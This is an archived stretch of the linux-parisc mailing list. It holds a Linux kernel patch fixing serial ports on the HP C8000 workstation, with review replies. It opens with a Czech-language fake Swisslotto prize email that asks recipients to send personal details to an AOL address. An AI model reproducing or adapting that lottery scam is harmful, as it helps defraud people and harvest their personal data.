 =?utf-8?Q?_LIBRA_{_GBP_}?=
Date: Thu, 6 Jun 2013 05:00:44 -0400 (EDT)
Lines: 110
Approved: news@gmane.org
Message-ID: <8D030AB76842FE4-63C-80B3__15039.3366734081$1370509323$gmane$org@webmail-vd016.sysops.aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8;
	format=flowed
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1370509317 25163 80.91.229.3 (6 Jun 2013 09:01:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 6 Jun 2013 09:01:57 +0000 (UTC)
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 06 11:01:57 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UkW4z-0006kW-9P
	for glpp-linux-parisc@plane.gmane.org; Thu, 06 Jun 2013 11:01:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932386Ab3FFJA5 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 6 Jun 2013 05:00:57 -0400
Original-Received: from oms-db03.r1000.mx.aol.com ([205.188.58.3]:37538 "EHLO
	oms-db03.r1000.mx.aol.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932326Ab3FFJAs convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 6 Jun 2013 05:00:48 -0400
Original-Received: from mtaomg-da06.r1000.mx.aol.com (mtaomg-da06.r1000.mx.aol.com [172.29.51.142])
	by oms-db03.r1000.mx.aol.com (AOL Outbound OMS Interface) with ESMTP id 57FE31C00004C;
	Thu,  6 Jun 2013 05:00:47 -0400 (EDT)
Original-Received: from core-mha001c.r1000.mail.aol.com (core-mha001.r1000.mail.aol.com [172.29.238.129])
	by mtaomg-da06.r1000.mx.aol.com (OMAG/Core Interface) with ESMTP id 98D4CE000084;
	Thu,  6 Jun 2013 05:00:44 -0400 (EDT)
X-MB-Message-Source: WebUI
X-MB-Message-Type: User
X-Mailer: AOL Webmail 37776-BASIC
Original-Received: from 110.159.129.178 by webmail-vd016.sysops.aol.com (205.188.178.107) with HTTP (WebMailUI); Thu, 06 Jun 2013 05:00:44 -0400
X-Originating-IP: [110.159.129.178]
x-aol-global-disposition: S
X-SPAM-FLAG: YES
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mx.aol.com;
	s=20121107; t=1370509247;
	bh=Yi5LEb58TXYEH5QmuOVs5MAluWwKD2/hV+SRsLJKqAc=;
	h=From:Subject:Message-Id:Date:MIME-Version:Content-Type;
	b=lc6VqlvumXbUtFFvWuqBJp57hOcCedsrlZXhpuZTVY+XGkDXZ+MfziJUToVgIhD0Z
	 14pa0AwRYAvnSL9wWtu6++XEqQfW0jI5jZ+i/2NBmn+AaFXsc9dd8qo1OmXm60obeS
	 ME1aZVqXbPlnTIFq19h4vyQ31vYsmSeMt+lP8fno=
X-AOL-SCOLL-SCORE: 0:2:127871272:93952408  
X-AOL-SCOLL-URL_COUNT: 0  
X-AOL-REROUTE: YES 
x-aol-sid: 3039ac1d338e51b04fbc0d9a
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5133
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5133>

www.swisslotto.ch 2013
SWISSLOTTO

Gratulujeme: Toto je ofici=C3=A1ln=C4=9B p=C5=99in=C3=A9st do va=C5=A1=C3=
=AD pozornosti, =C5=BEe va=C5=A1e=20
e-mailov=C3=A1 adresa z=C3=ADskal pro v=C3=A1s on-line elektronickou lo=
terii o=20
prob=C3=ADhaj=C3=ADc=C3=ADm Swisslotto platby loterie on-line p=C5=99es=
 n=C3=A1hodn=C3=A9=20
elektronick=C3=BDm syst=C3=A9mem e-mailovou volebn=C3=AD qualification.=
The sou=C4=8Det=20
7.500,000libra Great British Pounds { CZK} m=C3=A1 b=C3=BDt ud=C4=9Blen=
a v=C3=A1s v=20
prob=C3=ADhaj=C3=ADc=C3=ADm programu Swislotto, aby v=C3=A1m zpracov=C3=
=A1vat a vyu=C5=BE=C3=ADvat sv=C3=A9=20
vyhr=C3=A1l cenu, mus=C3=ADte j=C3=ADt vykupitelsk=C3=A9 politiky a str=
=C3=A1=C5=BEn=C3=AD linek z va=C5=A1=C3=AD=20
platebn=C3=AD ur=C4=8Den=C3=A9 banky. V tomto n=C5=98=C3=A1dek V=C3=ADt=
=C4=9Bzov=C3=A9 loterie elektronick=C3=BDch=20
cvi=C4=8Den=C3=AD se vyno=C5=99ila z 7 kontinent=C5=AF sv=C4=9Bta a 201=
3 vyd=C3=A1n=C3=AD Swisslotto je=20
zes=C3=ADlen=C3=BD vyd=C3=A1n=C3=AD, p=C5=99i=C4=8Dem=C5=BE v=C3=ADt=C4=
=9Bzov=C3=A9 vyno=C5=99il ze seznamu kontinentech=20
Afrika, Antarktida, Asie, Austr=C3=A1lie, Evropy, Severn=C3=AD Ameriky
Ji=C5=BEn=C3=AD Amerika.

Podle n=C3=A1hodn=C3=A9 e-mailov=C3=A9 adresy s=C4=8D=C3=ADtac=C3=AD sy=
st=C3=A9m e-mailovou kvalifikaci=20
va=C5=A1e e-mailov=C3=A1 adresa z=C3=ADskal pro V=C3=A1s sou=C4=8Det 7.=
500,000libra Great=20
British liber {GBP}  a z=C3=ADskala cenu pat=C5=99=C3=AD do Va=C5=A1=C3=
=AD tud=C3=AD=C5=BE va=C5=A1e jsou=20
opr=C3=A1vn=C4=9Bn=C3=BD u=C5=BEivatel e-mailov=C3=A9 adresy se svou v=C3=
=ADt=C4=9Bznou viz n=C3=AD=C5=BEe:

V=C3=ADt=C4=9Bzn=C3=A9 =C4=8D=C3=ADslo: 46689 \ 67 \ 2013k
Sm=C4=9Brov=C3=A1n=C3=AD =C4=8D=C3=ADslo: V=C3=ADt=C4=9Bz # 5657
V=C3=BDrobn=C3=AD k=C3=B3d: 56579Kl

Va=C5=A1e p=C5=99esto je t=C5=99eba je=C5=A1t=C4=9B zpracovat, je to va=
=C5=A1e pr=C3=A1vo je =C5=A1=C5=A5astn=C3=BDm=20
v=C3=BDhercem zpracov=C3=A1vat a vyu=C5=BE=C3=ADvat sv=C3=A9 vyhr=C3=A1=
l cenu p=C5=99es norm=C3=A1ln=C3=AD=20
prohla=C5=A1ovat postupu sami pr=C3=A1vn=C3=ADho p=C5=99=C3=ADjemce, pr=
o proces=C3=AD a =C4=8Derp=C3=A1n=C3=AD=20
va=C5=A1eho vyhr=C3=A1l cenu pos=C3=ADlat n=C3=AD=C5=BEe uveden=C3=A9 i=
nformace do centr=C3=A1ln=C3=AD sv=C4=9Bta=20
=C5=A0irok=C3=A1 agent i.desk1@aol.com v=C3=A1m sm=C4=9Brnic do pr=C5=AF=
vodu a platebn=C3=AD banku

                                                                     =20
POSKYTN=C4=9ATE N=C3=8D=C5=BDE UVEDEN=C3=89 INFORMACE

P=C5=99=C3=ADjmen=C3=AD:
Jm=C3=A9no
Druh=C3=A9 jm=C3=A9no:
Pohlav=C3=AD:
Datum narozen=C3=AD:
Povol=C3=A1n=C3=AD:
=C4=8C=C3=ADslo mobiln=C3=ADho telefonu:
Tel. =C4=8C=C3=ADslo:
N=C3=A1rodnost:
Domovsk=C3=A1 adresa:
=C3=9A=C5=99ad nebo Po=C5=A1tovn=C3=AD adresa:
Zem=C4=9B:
Sou=C4=8Dasn=C3=A1 Zem=C4=9B:
V=C3=BDhern=C3=AD =C4=8D=C3=ADslo:
Sm=C4=9Brovac=C3=AD =C4=8D=C3=ADslo:
V=C3=BDrobn=C3=AD k=C3=B3d:

kontakt : i.desk1@aol.com

Jste zaslat po=C5=BEadovan=C3=A9 informace popsan=C3=A9 v=C3=BD=C5=A1e =
proces=C3=AD a vyu=C5=BE=C3=ADvat sv=C3=BDch=20
mand=C3=A1t=C5=AF z=C3=ADskaly prize.Z=C3=A1kon, m=C5=AF=C5=BEete jako =
pr=C3=A1vn=C3=AD p=C5=99=C3=ADjemci t=C3=A9to v=C3=BDhra v=20
loterii zpracov=C3=A1vat pro n=C3=A1roky va=C5=A1eho z=C3=ADskal fond o=
d sv=C3=A9ho ur=C4=8Den=C3=A9ho=20
platebn=C3=ADho banky t=C3=ADm, =C5=BEe cituje sv=C3=A9 v=C3=ADt=C4=9Bz=
n=C3=A9 =C3=BAdaje, jako=C5=BE jak jdou podle=20
pravidel a regulace st=C5=99e=C5=BE=C3=ADc=C3=ADch vykupuj=C3=ADc=C3=AD=
 procesu procedure.Your se=20
pros=C3=ADm doporu=C4=8Duje zkontrolovat e-maily denn=C4=9B, co=C5=BE n=
=C3=A1m pom=C3=A1h=C3=A1 usnadnit=20
pr=C5=AFvod va=C5=A1=C3=AD cenu.

Pozn=C3=A1mka: Nen=C3=AD-li p=C5=99esm=C4=9Brovat informace k t=C3=A9to=
 e-mailovou adresu=20
i.desk1@aol.com nebo zv=C3=A1=C5=BEit s=C3=A1m automaticky diskvalifiko=
v=C3=A1n.


D=C4=9Bkovat
Pan=C3=AD Anna Van
-----------------------------------------------------------------------=
--
-----------------------------------------------------------------------=
--
-----------------------------------------------------------------------=
--
----------------
Copyright =C2=A9 2013 Swiss loterie! V=C5=A1echna pr=C3=A1va vyhrazena


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fix serial ports on C8000 workstation
Date: Sun, 9 Jun 2013 23:00:21 +0200
Lines: 147
Approved: news@gmane.org
Message-ID: <20130609210021.GA1009@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1370811629 7785 80.91.229.3 (9 Jun 2013 21:00:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 9 Jun 2013 21:00:29 +0000 (UTC)
Cc: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 09 23:00:28 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ulmix-00061U-E3
	for glpp-linux-parisc@plane.gmane.org; Sun, 09 Jun 2013 23:00:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750987Ab3FIVA0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 9 Jun 2013 17:00:26 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:49748 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750727Ab3FIVAZ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 9 Jun 2013 17:00:25 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.24]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0M06kM-1UV49U2SQW-00uKiX for
 <linux-parisc@vger.kernel.org>; Sun, 09 Jun 2013 23:00:24 +0200
Original-Received: (qmail invoked by alias); 09 Jun 2013 21:00:24 -0000
Original-Received: from p54AD3111.dip0.t-ipconnect.de (EHLO p100.box) [84.173.49.17]
  by mail.gmx.net (mp024) with SMTP; 09 Jun 2013 23:00:24 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18yk3Fa5wcy9y0T9Ki7J/qcVIDvzSYgYe+Jbb79fE
	oTNMX+cp9vTqdt
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5134
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5134>

From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>

The C8000 workstation (64 bit kernel only) has a somewhat different
serial port configuration that other models.
Thonmas Bogendoerfers sent a patch to fix this in September 2010, which
was now minimally modified by me.

Signed-off-by: Helge Deller <deller@gmx.de>
CC: Thomas Bogendoerfer <tsbogend@alpha.franken.de>


diff --git a/arch/parisc/kernel/hardware.c b/arch/parisc/kernel/hardware.c
index 9e2d2e4..8722756 100644
--- a/arch/parisc/kernel/hardware.c
+++ b/arch/parisc/kernel/hardware.c
@@ -1205,6 +1205,7 @@ static struct hp_hardware hp_hardware_list[] = {
 	{HPHW_FIO, 0x004, 0x00320, 0x0, "Metheus Frame Buffer"}, 
 	{HPHW_FIO, 0x004, 0x00340, 0x0, "BARCO CX4500 VME Grphx Cnsl"}, 
 	{HPHW_FIO, 0x004, 0x00360, 0x0, "Hughes TOG VME FDDI"}, 
+	{HPHW_FIO, 0x076, 0x000AD, 0x00, "Crestone Peak RS-232"},
 	{HPHW_IOA, 0x185, 0x0000B, 0x00, "Java BC Summit Port"}, 
 	{HPHW_IOA, 0x1FF, 0x0000B, 0x00, "Hitachi Ghostview Summit Port"}, 
 	{HPHW_IOA, 0x580, 0x0000B, 0x10, "U2-IOA BC Runway Port"}, 
diff --git a/drivers/parisc/iosapic.c b/drivers/parisc/iosapic.c
index 9544cdc..e79e006 100644
--- a/drivers/parisc/iosapic.c
+++ b/drivers/parisc/iosapic.c
@@ -811,6 +811,70 @@ int iosapic_fixup_irq(void *isi_obj, struct pci_dev *pcidev)
 	return pcidev->irq;
 }
 
+static struct iosapic_info *first_isi = NULL;
+
+#ifdef CONFIG_64BIT
+int iosapic_serial_irq(int num)
+{
+	struct iosapic_info *isi = first_isi;
+	struct irt_entry *irte = NULL;  /* only used if PAT PDC */
+	struct vector_info *vi;
+	int isi_line;	/* line used by device */
+
+	/* lookup IRT entry for isi/slot/pin set */
+	irte = &irt_cell[num];
+
+	DBG_IRT("iosapic_serial_irq(): irte %p %x %x %x %x %x %x %x %x\n",
+		irte,
+		irte->entry_type,
+		irte->entry_length,
+		irte->polarity_trigger,
+		irte->src_bus_irq_devno,
+		irte->src_bus_id,
+		irte->src_seg_id,
+		irte->dest_iosapic_intin,
+		(u32) irte->dest_iosapic_addr);
+	isi_line = irte->dest_iosapic_intin;
+
+	/* get vector info for this input line */
+	vi = isi->isi_vector + isi_line;
+	DBG_IRT("iosapic_serial_irq:  line %d vi 0x%p\n", isi_line, vi);
+
+	/* If this IRQ line has already been setup, skip it */
+	if (vi->irte)
+		goto out;
+
+	vi->irte = irte;
+
+	/*
+	 * Allocate processor IRQ
+	 *
+	 * XXX/FIXME The txn_alloc_irq() code and related code should be
+	 * moved to enable_irq(). That way we only allocate processor IRQ
+	 * bits for devices that actually have drivers claiming them.
+	 * Right now we assign an IRQ to every PCI device present,
+	 * regardless of whether it's used or not.
+	 */
+	vi->txn_irq = txn_alloc_irq(8);
+
+	if (vi->txn_irq < 0)
+		panic("I/O sapic: couldn't get TXN IRQ\n");
+
+	/* enable_irq() will use txn_* to program IRdT */
+	vi->txn_addr = txn_alloc_addr(vi->txn_irq);
+	vi->txn_data = txn_alloc_data(vi->txn_irq);
+
+	vi->eoi_addr = isi->addr + IOSAPIC_REG_EOI;
+	vi->eoi_data = cpu_to_le32(vi->txn_data);
+
+	cpu_claim_irq(vi->txn_irq, &iosapic_interrupt_type, vi);
+
+ out:
+
+	return vi->txn_irq;
+}
+#endif
+
 
 /*
 ** squirrel away the I/O Sapic Version
@@ -877,6 +941,8 @@ void *iosapic_register(unsigned long hpa)
 		vip->irqline = (unsigned char) cnt;
 		vip->iosapic = isi;
 	}
+	if (!first_isi)
+		first_isi = isi;
 	return isi;
 }
 
diff --git a/drivers/tty/serial/8250/8250_gsc.c b/drivers/tty/serial/8250/8250_gsc.c
index 097dff9..bb91b47 100644
--- a/drivers/tty/serial/8250/8250_gsc.c
+++ b/drivers/tty/serial/8250/8250_gsc.c
@@ -30,6 +30,12 @@ static int __init serial_init_chip(struct parisc_device *dev)
 	unsigned long address;
 	int err;
 
+#ifdef CONFIG_64BIT
+	extern int iosapic_serial_irq(int cellnum);
+	if (!dev->irq && (dev->id.sversion == 0xad))
+		dev->irq = iosapic_serial_irq(dev->mod_index-1);
+#endif
+
 	if (!dev->irq) {
 		/* We find some unattached serial ports by walking native
 		 * busses.  These should be silently ignored.  Otherwise,
@@ -51,7 +57,8 @@ static int __init serial_init_chip(struct parisc_device *dev)
 	memset(&uart, 0, sizeof(uart));
 	uart.port.iotype	= UPIO_MEM;
 	/* 7.272727MHz on Lasi.  Assumed the same for Dino, Wax and Timi. */
-	uart.port.uartclk	= 7272727;
+	uart.port.uartclk	= (dev->id.sversion != 0xad) ?
+					7272727 : 1843200;
 	uart.port.mapbase	= address;
 	uart.port.membase	= ioremap_nocache(address, 16);
 	uart.port.irq	= dev->irq;
@@ -73,6 +80,7 @@ static struct parisc_device_id serial_tbl[] = {
 	{ HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x00075 },
 	{ HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x0008c },
 	{ HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x0008d },
+	{ HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x000ad },
 	{ 0 }
 };
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix serial ports on C8000 workstation
Date: Sun, 09 Jun 2013 23:49:37 +0200
Lines: 69
Approved: news@gmane.org
Message-ID: <3684361.ciEK0E58Qm@donald.sf-tec.de>
References: <20130609210021.GA1009@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart16525093.hNv4dRgXvj"; micalg="pgp-sha1"; protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1370814602 1861 80.91.229.3 (9 Jun 2013 21:50:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 9 Jun 2013 21:50:02 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Thomas Bogendoerfer <tsbogend@alpha.franken.de>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 09 23:50:02 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UlnUv-0002o1-KG
	for glpp-linux-parisc@plane.gmane.org; Sun, 09 Jun 2013 23:50:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751763Ab3FIVuA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 9 Jun 2013 17:50:00 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:57342 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751719Ab3FIVuA (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 9 Jun 2013 17:50:00 -0400
Original-Received: (qmail 11609 invoked from network); 9 Jun 2013 21:49:57 -0000
Original-Received: from dslb-178-003-240-166.pools.arcor-ip.net ([::ffff:178.3.240.166]:38480 HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.23svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <deller@gmx.de>; Sun, 09 Jun 2013 23:49:57 +0200
User-Agent: KMail/4.10.3 (Linux/3.9.4-1.g51bf0ff-desktop; KDE/4.10.3; i686; ; )
In-Reply-To: <20130609210021.GA1009@p100.box>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5135
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5135>


--nextPart16525093.hNv4dRgXvj
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Helge Deller wrote:
> From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
> 
> The C8000 workstation (64 bit kernel only) has a somewhat different
> serial port configuration that other models.
> Thonmas Bogendoerfers sent a patch to fix this in September 2010, which
> was now minimally modified by me.

Cool, that explains why it doesn't work for me. And it saves me the time to 
debug what _I_ did wrong ;)

> diff --git a/drivers/tty/serial/8250/8250_gsc.c
> b/drivers/tty/serial/8250/8250_gsc.c index 097dff9..bb91b47 100644
> --- a/drivers/tty/serial/8250/8250_gsc.c
> +++ b/drivers/tty/serial/8250/8250_gsc.c
> @@ -30,6 +30,12 @@ static int __init serial_init_chip(struct parisc_device
> *dev) unsigned long address;
>  	int err;
> 
> +#ifdef CONFIG_64BIT
> +	extern int iosapic_serial_irq(int cellnum);
> +	if (!dev->irq && (dev->id.sversion == 0xad))
> +		dev->irq = iosapic_serial_irq(dev->mod_index-1);
> +#endif
> +

Forward declaration in the middle of a function. Is this permitted? By 
standard and by coding style? Looks strange to me.

>  	if (!dev->irq) {
>  		/* We find some unattached serial ports by walking native
>  		 * busses.  These should be silently ignored.  Otherwise,
> @@ -51,7 +57,8 @@ static int __init serial_init_chip(struct parisc_device
> *dev) memset(&uart, 0, sizeof(uart));
>  	uart.port.iotype	= UPIO_MEM;
>  	/* 7.272727MHz on Lasi.  Assumed the same for Dino, Wax and Timi. */
> -	uart.port.uartclk	= 7272727;
> +	uart.port.uartclk	= (dev->id.sversion != 0xad) ?
> +					7272727 : 1843200;

If there is a nice comment explaining 72 another nice comment for the other 
number should be added.

Eike
--nextPart16525093.hNv4dRgXvj
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.19 (GNU/Linux)

iEYEABECAAYFAlG0+HsACgkQXKSJPmm5/E635gCgnZBmjTZFW9bSSSJhZV3uXuZr
db8AoKXLAmdGg0IwWqrHN1eveT/E+73u
=AgGd
-----END PGP SIGNATURE-----

--nextPart16525093.hNv4dRgXvj--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: fix serial ports on C8000 workstation
Date: Sun, 9 Jun 2013 18:21:22 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <BLU0-SMTP43B2DEB0FF4F94FB003F16979B0@phx.gbl>
References: <20130609210021.GA1009@p100.box> <3684361.ciEK0E58Qm@donald.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1370816501 18558 80.91.229.3 (9 Jun 2013 22:21:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 9 Jun 2013 22:21:41 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Thomas Bogendoerfer <tsbogend@alpha.franken.de>
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 10 00:21:41 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UlnzY-0007sn-CE
	for glpp-linux-parisc@plane.gmane.org; Mon, 10 Jun 2013 00:21:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751353Ab3FIWVj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 9 Jun 2013 18:21:39 -0400
Original-Received: from blu0-omc3-s36.blu0.hotmail.com ([65.55.116.111]:14696 "EHLO
	blu0-omc3-s36.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750910Ab3FIWVj (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 9 Jun 2013 18:21:39 -0400
Original-Received: from BLU0-SMTP43 ([65.55.116.72]) by blu0-omc3-s36.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 9 Jun 2013 15:21:38 -0700
X-EIP: [Ro1ZVvnZYFNluzKtLMWuOWGqCROPVAdZ]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.95.143]) by BLU0-SMTP43.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 9 Jun 2013 15:21:38 -0700
In-Reply-To: <3684361.ciEK0E58Qm@donald.sf-tec.de>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 09 Jun 2013 22:21:38.0092 (UTC) FILETIME=[B5744EC0:01CE655F]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5136
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5136>

On 9-Jun-13, at 5:49 PM, Rolf Eike Beer wrote:

>> 	/* 7.272727MHz on Lasi.  Assumed the same for Dino, Wax and Timi. */
>> -	uart.port.uartclk	= 7272727;
>> +	uart.port.uartclk	= (dev->id.sversion != 0xad) ?
>> +					7272727 : 1843200;
>
> If there is a nice comment explaining 72 another nice comment for  
> the other
> number should be added.

1.8432 MHz is a common oscillator frequency for UARTs.  See for example,
http://en.wikipedia.org/wiki/Crystal_oscillator_frequencies

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Aw: Re: [PATCH] parisc: fix serial ports on C8000 workstation
Date: Mon, 10 Jun 2013 10:27:09 +0200 (CEST)
Lines: 28
Approved: news@gmane.org
Message-ID: <trinity-3fb7467d-4d50-4362-8003-6bdc2d184770-1370852828916@3capp-gmx-bs02>
References: <20130609210021.GA1009@p100.box>,
 <3684361.ciEK0E58Qm@donald.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1370852835 12266 80.91.229.3 (10 Jun 2013 08:27:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 10 Jun 2013 08:27:15 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	"James Bottomley" <James.Bottomley@hansenpartnership.com>,
	"Thomas Bogendoerfer" <tsbogend@alpha.franken.de>
To: "Rolf Eike Beer" <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 10 10:27:15 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UlxRZ-0000ac-5d
	for glpp-linux-parisc@plane.gmane.org; Mon, 10 Jun 2013 10:27:13 +0200
